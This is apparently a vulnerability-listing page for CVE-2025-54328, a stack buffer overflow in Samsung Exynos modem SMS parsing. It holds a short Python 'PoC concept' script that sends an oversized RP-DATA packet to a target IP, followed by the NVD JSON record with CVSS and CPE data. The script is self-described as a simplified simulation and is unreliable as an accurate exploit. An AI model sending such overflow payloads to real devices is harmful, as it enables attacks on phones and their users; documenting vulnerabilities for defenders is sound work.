CVE-2025-54328

# PoC Concept: Fuzzing SMS RP-DATA to trigger stack overflow # This is a simulation script demonstrating the payload structure. import socket def trigger_overflow(target_ip, modem_port): # 1. Construct malicious RP-DATA message # The payload size exceeds the buffer limit defined in the firmware. buffer_size = 1024 overflow_payload = b'A' * (buffer_size + 500) # Overflowing 500 bytes # 2. Encapsulate in protocol specific headers (Simplified) # RP-DATA Message Type + Length + Payload sms_packet = b'\x01' + len(overflow_payload).to_bytes(2, 'big') + overflow_payload # 3. Send to target modem interface try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, modem_port)) s.send(sms_packet) print("[+] Malicious SMS packet sent.") s.close() except Exception as e: print(f"[-] Connection error: {e}") # Disclaimer: For educational and defensive testing purposes only.

{"cve": {"id": "CVE-2025-54328", "sourceIdentifier": "[email protected]", "published": "2026-04-06T20:16:20.490", "lastModified": "2026-04-07T17:28:19.270", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in SMS in Samsung Mobile Processor, Wearable Processor, and Modem Exynos 980, 990, 850, 1080, 2100, 1280, 2200, 1330, 1380, 1480, 2400, 1580, 2500, 9110, W920, W930, W1000, Modem 5123, Modem 5300, and Modem 5400. A Stack-based Buffer Overflow occurs while parsing SMS RP-DATA messages."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_980_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "5F18F62E-2012-442E-BE60-6E76325D1824"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_980:-:*:*:*:*:*:*:*", "matchCriteriaId": "0D8701B6-6989-44D1-873A-A1823BFD7CCC"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_990_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "BCF6C91D-DECE-4630-85FE-C22EF2B9160A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_990:-:*:*:*:*:*:*:*", "matchCriteriaId": "87FE8214-E165-4874-BB5A-3C4298708039"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_850_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "1928760C-4FC4-45B0-84FF-C1105CD1DD2A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_850:-:*:*:*:*:*:*:*", "matchCriteriaId": "BB410A6D-642B-49AE-8B1C-EADA953A84DA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1080_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "43DE4D6F-D662-46F2-93BC-9AE950320BDE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1080:-:*:*:*:*:*:*:*", "matchCriteriaId": "EE06CD56-8BFD-4208-843A-179E3E6F5C10"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_2100_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "89B88BFE-3C82-498C-8EC1-5784836DB1A1"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_2100:-:*:*:*:*:*:*:*", "matchCriteriaId": "9385885D-654A-496E-8029-7C6D9B077193"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1280_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "BD1A7B09-9031-4E54-A24F-3237C054166B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1280:-:*:*:*:*:*:*:*", "matchCriteriaId": "DFC68046-2F08-40D1-B158-89D8D9263541"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1330_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "C2635646-DD6A-4735-8E01-F45445584832"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1330:-:*:*:*:*:*:*:*", "matchCriteriaId": "AA0F8A58-71B7-4503-A03A-6FB4282D75BD"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1380_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "D381478B-C638-4663-BD71-144BE4B02E46"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1380:-:*:*:*:*:*:*:*", "matchCriteriaId": "61E72146-72FE-4B54-AB79-3C665E7F016C"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1480_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "64897B0D-EBF6-4BEB-BF54-ABCDBFAB45E0"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1480:-:*:*:*: ... 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